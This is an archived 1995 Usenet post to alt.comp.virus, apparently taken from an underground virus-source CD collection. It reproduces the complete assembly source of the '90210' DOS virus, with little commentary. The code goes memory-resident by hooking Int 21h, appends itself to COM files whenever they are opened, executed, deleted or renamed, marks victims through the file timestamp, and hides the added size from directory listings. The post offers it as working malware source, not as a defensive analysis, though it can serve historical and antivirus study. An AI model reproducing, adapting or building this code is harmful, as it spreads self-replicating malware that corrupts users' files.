home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 90210.asm / text0000.txt < prev   
Encoding:
Text File  |  1998-01-14  |  9.4 KB  |  365 lines

  1.  
  2. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.alpha.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  3. From: danishm@iia.org ()
  4. Newsgroups: alt.comp.virus
  5. Subject: 90210
  6. Date: 5 Feb 1995 21:55:07 GMT
  7. Organization: International Internet Association.
  8. Lines: 345
  9. Message-ID: <3h3hfr$sb@ankh.iia.org>
  10. NNTP-Posting-Host: iia.org
  11. X-Newsreader: TIN [version 1.2 PL2]
  12.  
  13. Here is the 90210 virus:
  14.  
  15. ;90210 Virus from the TridenT virus research group.
  16.  
  17. ;This is a semi-stealth virus that hides file-size changes while
  18. ;it is in memory.  It marks the files w/the timestamp.  It will
  19. ;infect COM files on open, execute, delete, and rename.  It checks
  20. ;if it is in memory by calling Int 21h with DEADh in AX and uses MCB's
  21. ;to go memory resident.
  22.  
  23. ;Disassembly by Black Wolf
  24.  
  25. .model tiny  
  26. .code
  27.  
  28.         org     100h
  29.   
  30. start:
  31.         push    ax
  32.         call    GetOffset
  33.  
  34. GetOffset:
  35.         pop     bp
  36.         sub     bp,offset GetOffset-start
  37.  
  38.         mov     ax,0DEADh
  39.         int     21h                     ;Are we installed?
  40.         cmp     ax,0AAAAh 
  41.         je      DoneInstall
  42.  
  43.         mov     ax,3521h
  44.         int     21h                     ;Get int 21 address
  45.                
  46.     db      2eh, 89h,9eh,77h,0h     ;mov cs:[OldInt21-start+bp],bx
  47.     db      2eh, 8ch, 86h, 79h, 0   ;mov word ptr cs:[OldInt21-start+2+bp],es
  48.  
  49.         mov     ax,cs
  50.         dec     ax
  51.         mov     ds,ax
  52.         cmp     byte ptr ds:[0],'Z'
  53.         jne     DoneInstall         ;Are we the last block in chain?
  54.         
  55.         mov     ax,ds:[3]               ;Get MCB size
  56.         sub     ax,38h                  ;subtract virus memory size
  57.         jc      DoneInstall             ;exit if virus > MCB
  58.  
  59.         mov     ds:[3],ax               ;Set MCB size
  60.         ;sub     word ptr ds:[12h],38h  ;Subtract virus mem from 
  61.         db      81h,2eh,12h,0,38h,0     ;top of memory in PSP
  62.         
  63.         mov     si,bp
  64.         mov     di,0
  65.         mov     es,ds:[12h]             ;Get top of memory from PSP
  66.         push    cs
  67.         pop     ds
  68.         mov     cx,287h
  69.         cld          
  70.         rep     movsb                   ;Copy virus into memory
  71.         
  72.         mov     ax,2521h        
  73.         push    es
  74.         pop     ds
  75.         mov     dx,offset Int21Handler-start
  76.         int     21h                     ;Set int 21h
  77.                
  78. DoneInstall:
  79.         mov     di,100h
  80.         lea     si,[bp+Storage_Bytes-start]
  81.         push    cs
  82.         push    cs
  83.         pop     ds
  84.         pop     es
  85.         cld 
  86.         movsw
  87.         movsb                           ;Restore Host file.
  88.         mov     bx,offset start
  89.         pop     ax
  90.         push    bx
  91.         retn                            ;Return to Host
  92.  
  93.   
  94. VirusName       db      '[90210 BH]'
  95.         
  96. OldInt21:                
  97.         dw      0                
  98.         dw      0
  99.         
  100. Int21Handler:
  101.         cmp     ax,0DEADh               ;Install Check?
  102.         jne     NotInstall   
  103.         mov     ax,0AAAAh
  104.         iret 
  105. NotInstall:
  106.  
  107.         cmp     ah,11h                  ;FCB find first
  108.         je      FCBSearch
  109.         cmp     ah,12h                  ;FCB find next
  110.         je      FCBSearch
  111.         cmp     ah,4Eh                  ;handle find first
  112.         je      HandleSearch
  113.         cmp     ah,4Fh                  ;handle find next
  114.         je      HandleSearch
  115.         
  116.         push    ax bx cx dx si di bp ds es
  117.  
  118.         cmp     ah,3Dh                  ;handle file open
  119.         je      SetupNameCheck
  120.         cmp     ax,4B00h                ;file execute
  121.         je      SetupNameCheck
  122.         cmp     ah,41h                  ;handle file delete
  123.         je      SetupNameCheck
  124.         cmp     ah,43h                  ;get/set attributes
  125.         je      SetupNameCheck
  126.         cmp     ah,56h                  ;rename file
  127.         je      SetupNameCheck
  128.         
  129.         cmp     ah,0Fh                  ;Open file w/FCB
  130.         je      TryToInfect
  131.         cmp     ah,23h
  132.         je      TryToInfect             ;Get file size
  133.         jmp     ExitInfect
  134.         
  135. FCBSearch:
  136.         jmp     FCBStealth
  137. HandleSearch:
  138.         jmp     HandleStealth
  139.  
  140. TryToInfect:
  141.         db      89h,0d6h         ;mov     si,dx
  142.  
  143.         inc     si
  144.         push    cs
  145.         pop     es
  146.         mov     di,offset ds:[Filename-start]     ;Copy filename
  147.         mov     cx,8
  148.         rep     movsb
  149.         mov     cx,3
  150.         inc     di
  151.         rep     movsb
  152.  
  153.         mov     dx,Filename-start
  154.         push    cs
  155.         pop     ds
  156.  
  157. SetupNameCheck:
  158.         db      89h, 0d6h        ;mov     si,dx
  159.         mov     cx,100h
  160.         cld 
  161.   
  162. Find_Extension:
  163.         lodsb
  164.         cmp     al,'.'                  ;Find '.'
  165.         je      CheckFilename
  166.         loop    Find_Extension
  167.         db      0e9h, 13h, 0             ;jmp     FilenameBad
  168. CheckFilename:
  169.         lodsw 
  170.         or      ax,2020h                ;Set to lowercase
  171.         cmp     ax,6F63h                ;Is it a com file?
  172.         jne     FilenameBad
  173.         lodsb        
  174.         or      al,20h
  175.         cmp     al,6Dh
  176.         jne     FilenameBad
  177.         db      0e9h, 3, 0              ;jmp     InfectFile 
  178.  
  179. FilenameBad:
  180.         jmp     ExitInfect 
  181.  
  182. InfectFile:
  183.         push    dx
  184.         push    ds
  185.         mov     ax,4300h
  186.         pushf         
  187.         call    dword ptr cs:[OldInt21-start]      ;Get Attributes
  188.         mov     word ptr cs:[FileAttribs-start],cx ;Save them
  189.         
  190.         mov     ax,4301h
  191.         xor     cx,cx
  192.         pushf           
  193.         call    dword ptr cs:[OldInt21-start]     ;Reset Attribs to 0
  194.         
  195.         mov     ax,3D02h
  196.         pushf
  197.         call    dword ptr cs:[OldInt21-start]     ;Open file
  198.         jnc     OpenGood
  199.         jmp     FileClosed
  200.  
  201. OpenGood:
  202.         xchg    ax,bx
  203.         mov     ax,5700h
  204.         pushf              
  205.         call    dword ptr cs:[OldInt21-start]      ;Get file time/date
  206.         mov     word ptr cs:[FileTime-start],cx  ;save time
  207.         mov     word ptr cs:[FileDate-start],dx  ;save date
  208.  
  209.         and     cx,1Fh
  210.         cmp     cx,1Fh
  211.         jne     NotInfected                    ;Check infection
  212.         db      0e9h, 76h, 0                   ;jmp     Close_File
  213. NotInfected:
  214.         mov     ah,3Fh                  
  215.         push    cs
  216.         pop     ds
  217.         mov     dx,Storage_Bytes-start
  218.         mov     cx,3
  219.         pushf                          
  220.         call    dword ptr cs:[OldInt21-start] ;Read in first 3 bytes
  221.  
  222.         cmp     word ptr cs:[Storage_Bytes-start],5A4Dh    
  223.         je      DoneWithFile        ;Is it an .EXE file?
  224.  
  225.         cmp     word ptr cs:[Storage_Bytes-start],4D5Ah
  226.         je      DoneWithFile        ;Alternate EXE sig?
  227.  
  228.         mov     ax,4202h
  229.         xor     cx,cx
  230.         xor     dx,dx
  231.         pushf        
  232.         call    dword ptr cs:[OldInt21-start] ;Go end of file.
  233.         
  234.         sub     ax,3                        ;Save jump size
  235.         mov     word ptr cs:[Jump_Bytes-start+1],ax
  236.         
  237.         mov     ah,40h                  
  238.         push    cs
  239.         pop     ds
  240.         mov     dx,0
  241.         mov     cx,287h
  242.         pushf          
  243.         call    dword ptr cs:[OldInt21-start] ;Append virus to file
  244.         
  245.         mov     ax,4200h
  246.         xor     cx,cx
  247.         xor     dx,dx
  248.         int     21h                          ;go back to beginning
  249.                
  250.         mov     ah,40h                  
  251.         mov     dx,Jump_Bytes-Start
  252.         mov     cx,3
  253.         pushf        
  254.         call    dword ptr cs:[OldInt21-start]      ;Write in jump
  255.         or      word ptr cs:[FileTime-start],1Fh ;Mark as infected
  256.  
  257. DoneWithFile:
  258.         mov     ax,5701h
  259.         mov     cx,word ptr cs:[FileTime-start]   
  260.         mov     dx,word ptr cs:[FileDate-start]   
  261.         pushf                               
  262.         call    dword ptr cs:[OldInt21-start] ;Restore File Date/Time
  263.  
  264. Close_File:
  265.         mov     ah,3Eh
  266.         pushf          
  267.         call    dword ptr cs:[OldInt21-start] ;Close file
  268.         
  269.         pop     ds
  270.         pop     dx                          ;Pop filename address
  271.         push    dx
  272.         push    ds
  273.         mov     ax,4301h
  274.         mov     cx,ds:[FileAttribs-start]
  275.         pushf             
  276.         call    dword ptr cs:[OldInt21-start]    ;Restore attributes
  277.  
  278. FileClosed:
  279.         pop     ds
  280.         pop     dx
  281.  
  282. ExitInfect:
  283.         pop     es ds bp di si dx cx bx ax
  284.         jmp     dword ptr cs:[OldInt21-start]  ;Jump back into Int 21h
  285.   
  286. GetDTA:
  287.         pop     si
  288.         pushf
  289.         push    ax bx es
  290.         mov     ah,2Fh
  291.         call    CallInt21
  292.         jmp     si
  293.  
  294. FCBStealth:
  295.         call    CallInt21
  296.         cmp     al,0                    ;Did call work?
  297.         jne     NoStealth
  298.         call    GetDTA
  299.         cmp     byte ptr es:[bx],0FFh   ;Extended FCB?
  300.         jne     AfterFCBAdjust
  301.         add     bx,8
  302.  
  303. AfterFCBAdjust:
  304.         mov     al,es:[bx+16h]          ;Get time stamp
  305.         and     al,1Fh
  306.         cmp     al,1Fh                  ;infected?
  307.         jne     DoneFCBStealth
  308.  
  309.         sub     word ptr es:[bx+1Ch],287h ;Subtract virus size
  310.         sbb     word ptr es:[bx+1Eh],0    ;adjust for carry
  311.         jmp     short ResetTime
  312.  
  313. HandleStealth:
  314.         call    CallInt21
  315.         jc      NoStealth 
  316.         call    GetDTA      
  317.         mov     al,es:[bx+16h]              ;Get file time
  318.         and     al,1Fh
  319.         cmp     al,1Fh
  320.         jne     DoneFCBStealth
  321.         sub     word ptr es:[bx+1Ah],287h   ;Subtract virus size
  322.         sbb     word ptr es:[bx+1Ch],0      ;adjust for carry
  323.  
  324. ResetTime:
  325.         xor     byte ptr es:[bx+16h],10h    ;Restore time to norm.
  326.  
  327. DoneFCBStealth:
  328.         pop     es bx ax
  329.         popf
  330.   
  331. NoStealth:
  332.         retf    2 
  333.  
  334. CallInt21:
  335.         pushf
  336.         call    dword ptr cs:[OldInt21-start]
  337.         retn
  338.  
  339. Storage_Bytes:                
  340.         nop
  341.         int     21h
  342.         
  343. Filename        db      8 dup (0)
  344.         db      '.'
  345. Extension       db      3 dup (0)
  346.         db      0
  347.  
  348. FileAttribs     dw      0
  349. FileTime        dw      0
  350. FileDate        dw      0
  351.  
  352. Jump_Bytes      db      0E9h, 00h, 00h
  353.  
  354. AuthorName      db      ' John Tardy / TridenT '
  355.  
  356. end     start
  357.  
  358.  
  359. --
  360. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  361. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  362. Student at the Northeatstern University College of Computer Science 
  363. "I Can't Believe It's Not Butter"
  364.  
  365.